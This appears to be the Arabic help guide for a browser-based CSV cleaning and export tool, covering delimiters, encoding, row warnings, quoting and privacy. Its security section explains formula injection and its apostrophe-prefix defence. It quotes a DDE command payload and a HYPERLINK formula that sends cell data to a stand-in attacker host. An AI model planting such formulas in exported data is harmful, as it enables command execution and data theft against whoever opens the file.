محددات ورؤوس وتكرارات وترميزات مرتبة في عمليات تصدير جداول البيانات.
الملف CSV ليس تنسيقًا حقًا، بل هو مجموعة من الاصطلاحات. المواصفات التي تشير إليها معظم الأدوات، RFC 4180، تمت كتابتها باللغة 2005 لوصف ما كان يقوم به البرنامج بالفعل بدلاً من إخباره بما يجب فعله. والنتيجة هي أن برنامجين يمكنهما المطالبة بدعم CSV ولكنهما لا يزالان مختلفين حول المحدد ونهاية السطر ونمط الاقتباس وترميز الأحرف.
المفاجأة الأكثر شيوعًا هي المحدد. البرمجيات المباعة في البلدان التي تستخدم الفاصلة كفاصل عشري - معظم دول أوروبا القارية - تصدر في كثير من الأحيان ملفات مفصولة بفاصلة منقوطة، لأن الفاصلة مشغولة بالفعل. لا تزال هذه الملفات تنتهي بـ .csv. افتح واحدًا في أداة تفترض الفواصل وينهار كل صف في عمود واحد.
المفاجأة الثانية الأكثر شيوعًا هي التشفير. غالبًا ما يبدأ الملف المحفوظ باسم UTF-8 بعلامة غير مرئية ثلاثية البايت تسمى علامة ترتيب البايت. يستخدمه Excel على نظام التشغيل Windows للتعرف على UTF-8. لا تتوقع العديد من أدوات Unix ذلك، لذلك يتم لصق العلامة على اسم الرأس الأول ويصبح العمود المسمى "id" بصمت عمودًا يسمى "id" والذي لن يتطابق معه أي بحث على الإطلاق.
اختر الملف الخاص بك. يحدث التحليل في سلسلة رسائل عاملة في الخلفية، لذلك حتى التصدير الكبير لن يؤدي إلى تجميد الصفحة أثناء قراءتها.
اترك المحدد على "الاكتشاف التلقائي" في المرة الأولى. يعمل الاكتشاف عن طريق تحليل عينة مع كل محدد مرشح واختيار العينة التي تنتج النتيجة المستطيلة الأكثر اتساقًا - ولهذا السبب لا يتم خداعها بفواصل موجودة داخل الحقول المقتبسة في ملف مفصول بفاصلة منقوطة. إذا كانت المعاينة لا تزال تبدو خاطئة، فقم بتجاوزها يدويًا.
تحقق من عدد الصفوف والأعمدة ضمن منتقي الملفات قبل القيام بأي شيء آخر. إذا كان عدد الأعمدة هو 1، فإن المحدد غير صحيح. إذا كان عدد الصفوف أكبر بكثير مما كنت تتوقع، فمن المحتمل أن يحتوي الملف على أسطر جديدة مقتبسة قامت أداة أخرى بتشويهها بالفعل.
تقوم التحذيرات بتسمية رقم الصف المحدد، مع حساب الطريقة التي ستحسب بها في محرر النصوص، حتى تتمكن من الذهاب وإلقاء نظرة على المشكلة مباشرة.
تحذير "الصف المتعرج" يعني أن الصف يحتوي على عدد مختلف من الخلايا عن الرأس. لا تتخلص هذه الأداة أبدًا من تلك الخلايا. يتم ملء الصفوف القصيرة بالفراغات بينما تحتفظ الصفوف الطويلة بقيمها الإضافية، لأن حذف بيانات شخص ما بصمت لجعل الشبكة تبدو مرتبة هو أسوأ شيء يمكن أن تفعله أداة التنظيف. قم بإصلاح الصف المصدر إذا كانت الفاصلة الإضافية خاطئة.
يعني تحذير "الاقتباس غير المغلق" أنه تم فتح علامة الاقتباس المزدوجة ولم يتم إغلاقها مطلقًا، لذلك تتم قراءة كل شيء بعد ذلك كحقل واحد ضخم. يعد هذا دائمًا تقريبًا تلفًا حقيقيًا في الملف المصدر، ومن الجدير إصلاحه في المنبع وليس في المصب.
تنطبق أزرار التنظيف على الجدول بأكمله ويمكن التراجع عن كل زر منها. تؤدي إزالة الصفوف المكررة إلى الاحتفاظ بالتكرار الأول، وبالتالي يظل الصف الأصلي موجودًا ولا يتغير ترتيب البيانات الباقية.
تتيح لك عناصر التحكم في الأعمدة إمكانية إعادة تسمية الرؤوس واختيار الأعمدة التي سيتم تصديرها والفرز حسب أي عمود. يكتشف الفرز ما إذا كان العمود رقميًا: يقوم العمود الرقمي بفرز 9 قبل 10، بينما يقوم عمود النص بفرز "10" قبل "9"، وهو ما تريده عادةً في كل حالة.
قبل التنزيل، انظر إلى خيارات التصدير. يتم تشغيل خيار التركيبة الآمنة للحقن بشكل افتراضي ويتم شرحه في الدليل الخاص به أدناه - وهو الإعداد الوحيد هنا الذي له نتيجة أمنية حقيقية.
لا يحتوي الملف CSV على أي تعليمات برمجية، ولكن تطبيق جداول البيانات سوف يتعامل بكل سرور مع بعض النص الخاص به كرمز في لحظة فتح الملف.
يفسر كل من Excel وGoogle Sheets وLibreOffice Calc الخلية التي يكون الحرف الأول فيها = أو + أو - أو @ كبداية للصيغة. هذا السلوك متعمد ومفيد عندما تكتبه بنفسك. تصبح ثغرة أمنية عندما يأتي محتوى الخلية من مكان لا يمكنك التحكم فيه.
تخيل نموذج ويب يجمع اسمًا، ومسؤولًا يقوم بشكل دوري بتصدير عمليات الإرسال إلى CSV ويفتحها في Excel. يرسل المهاجم اسمًا ليس اسمًا بل صيغة.
تبدو الحمولة الكلاسيكية مثل =cmd|' /C كالك'!A0. عند فتح عملية التصدير، يقوم Excel بتوزيعها كتعليمات ديناميكية لتبادل البيانات بدلاً من النص. ستحاول التكوينات الأقدم وغير المصححة تشغيل برنامج خارجي. تُظهر الإصدارات الحديثة مطالبة تحذيرية أولاً - ولكن المطالبة هي الشيء الوحيد الذي يقف بين الحمولة والتنفيذ، ويقوم المستخدمون بالنقر فوق المطالبات.
يعد استخراج البيانات هو البديل الأكثر هدوءًا ولا يحتاج إلى DDE على الإطلاق. =HYPERLINK("https://attacker.example/?d="&A1,"Click للتفاصيل") ينشئ رابطًا يحتوي على محتويات خلية مجاورة. ينقر عليه مسؤول فضولي، ويغادر صف من جدول البيانات المبنى في URL. يمكن لـ IMPORTXML في جداول بيانات Google جلب جهاز التحكم عن بعد URL دون الحاجة إلى النقر على الإطلاق.
النقطة المهمة هي أن المهاجم لم يحتاج مطلقًا إلى الوصول إلى جدول البيانات أو أداة التصدير أو جهاز المسؤول. لقد احتاجوا فقط إلى حقل نصي واحد يصل في النهاية إلى تصدير CSV. ولهذا السبب يتم تسجيل الثغرة الأمنية عادةً ضد التطبيق الذي أنتج الملف، وليس جدول البيانات الذي فتحه.
عندما يتم تمكين "Formula-injection-safe" - ويتم تمكينه افتراضيًا - فإن كل خلية يكون الحرف الأول منها هو =، +، -، @، علامة تبويب أو حرف إرجاع يسبقه فاصلة عليا واحدة قبل كتابتها.
الفاصلة العليا هي علامة جدول البيانات التقليدية التي تعني "معاملة بقية هذه الخلية كنص حرفي". لا يعرضها Excel في الخلية؛ تراه فقط في شريط الصيغة. لا تزال الحمولة مرئية وقابلة للاسترداد بالكامل، ولكنها خاملة.
تم تضمين علامة التبويب وأحرف الإرجاع في تلك القائمة لأنها عبارة عن مسافات بيضاء تقطعها بعض المرشحات الساذجة قبل التحقق من الحرف الأول، مما يسمح للحمولة النافعة بالمرور عبر الفحص الذي ينظر فقط إلى الفهرس صفر للسلسلة المقطوعة. يؤدي التحقق من الحرف الأول الخام إلى إغلاق هذه الفجوة.
يؤدي التخفيف إلى تغيير بياناتك، ولا يوجد إصدار منه لا يفعل ذلك. إذا كانت الخلية تحتوي بالفعل على =SUM(A1:A2) لأنك تريد صيغة عمل في الإخراج، فإن التصدير الآمن يحولها إلى نص حرفي =SUM(A1:A2) ولن يتم حسابه. لا يمكن لجدول البيانات التمييز بين الصيغة المقصودة وصيغة المهاجم، ولا يمكننا ذلك أيضًا.
وهذا هو بالضبط السبب وراء كون هذا تبديلًا مرئيًا وليس سلوكًا صامتًا. إذا كنت تقوم بتصدير ملف من المفترض أن يحتوي على صيغ حية، وتثق في كل قيمة فيه، فقم بإيقاف تشغيل الخيار عن عمد وعن علم. إذا كانت البيانات تحتوي على أي شيء نشأ من مستخدم أو نموذج أو عميل أو استطلاع أو نظام خارجي، فاتركه قيد التشغيل.
تحسين واحد يستحق المعرفة عنه. يقوم التنفيذ الساذج بوضع علامة على كل خلية تبدأ بعلامة الطرح، مما يؤدي إلى تشويه كل رقم سالب في الملف: -42 يصبح "-42" ويتوقف عن كونه رقمًا، مما يؤدي بهدوء إلى إفساد عمود كامل من البيانات المالية. تستثني هذه الأداة القيم التي يتم تحليلها كأرقام عادية، لذلك -42، -3.14 و-1e5 تمر دون تغيير بينما -1+1+cmd|' /C calc'!A0 لا يقوم بذلك، لأنه ليس رقمًا.
الهروب عند الكتابة وليس عند القراءة. يجب أن يكون الملف الذي تنتجه آمنًا لفتحه في أي مكان، لأنه لا يمكنك التحكم في التطبيق الذي يفتحه أو عمر هذا التطبيق.
لا تعتمد على مربع حوار التحذير الخاص بجدول البيانات باعتباره عنصر التحكم الخاص بك. إنه خط الدفاع الأخير الذي يستهدف المستخدم الذي يحاول إنجاز عمله، ويتم رفضه بشكل روتيني.
لا تحاول حل هذه المشكلة عن طريق تجريد الشخصيات الخطرة. يؤدي حذف المسافة البادئة = إلى إتلاف البيانات الشرعية ولا يزال يفتقد الحمولات التي تبدأ بمسافة بيضاء. تؤدي البادئة بفاصلة عليا إلى الحفاظ على القيمة الأصلية تمامًا أثناء إزالة قابليتها للتنفيذ، ولهذا السبب فهي الطريقة الموصى بها.
يجب أن يتم تغليف الحقل بين علامتي اقتباس مزدوجتين عندما يحتوي على الفاصل أو علامة الاقتباس المزدوجة أو فاصل الأسطر. داخل الحقل المقتبس، يتم كتابة الاقتباس المزدوج الحرفي مرتين: "قالت ""مرحبًا""" هو حقل واحد يحتوي على قالت "مرحبًا".
تقتبس هذه الأداة الحد الأدنى عند التصدير: يتم تغليف الحقول فقط عند الحاجة إليها. وهذا يعني أن الملف الذي تم اقتباس كل حقل منه عند الإدخال قد يظهر بعلامات اقتباس أقل. البيانات متطابقة - "Ada" وAda لهما نفس القيمة - لكن البايتات تختلف. إذا كنت تريد اقتباس كل حقل، فاستخدم خيار "اقتباس كل حقل".
يتم دائمًا اقتباس الحقول التي تحتوي على مسافات بادئة أو لاحقة ذات معنى، لأن العديد من المحللين يزيلون الحشو غير المقتبس وقد يغيرون قيمك.
RFC 4180 يحدد CRLF بين السجلات، وهذا ما تكتبه هذه الأداة افتراضيًا، لأنه الخيار الأكثر توافقًا على نطاق واسع عبر أدوات Windows وUnix.
عند الإدخال، يتم قبول الاصطلاحات الثلاثة: CRLF وLF وLone CR. يتم الاحتفاظ بالسطر الجديد داخل الحقل المقتبس كجزء من القيمة ولا يبدأ صفًا جديدًا.
تتم قراءة الملف الخاص بك بواسطة المتصفح، ويتم تحليله في Web Worker على جهازك، وتحويله إلى الذاكرة، وإعادة كتابته بواسطة آلية التنزيل الخاصة بالمتصفح. لا يتم نقله أبداً.
لا يتم تخزين أي شيء. لا يوجد حفظ تلقائي، ولا توجد قاعدة بيانات محلية ولا يوجد سجل ينجو من إعادة تحميل الصفحة. يؤدي إغلاق علامة التبويب إلى تجاهل كل شيء؛ "مسح البيانات" يفعل نفس الشيء على الفور.
تم تعطيل التحليلات والإعلانات في هذا المنتج وفي كل بيئة. لا يتم جمع أي بيانات استخدام حول ملفك - لا اسمه أو حجمه أو محتوياته أو أسماء الأعمدة - لأنه لا يتم إرسال أي منها إلى أي مكان على الإطلاق.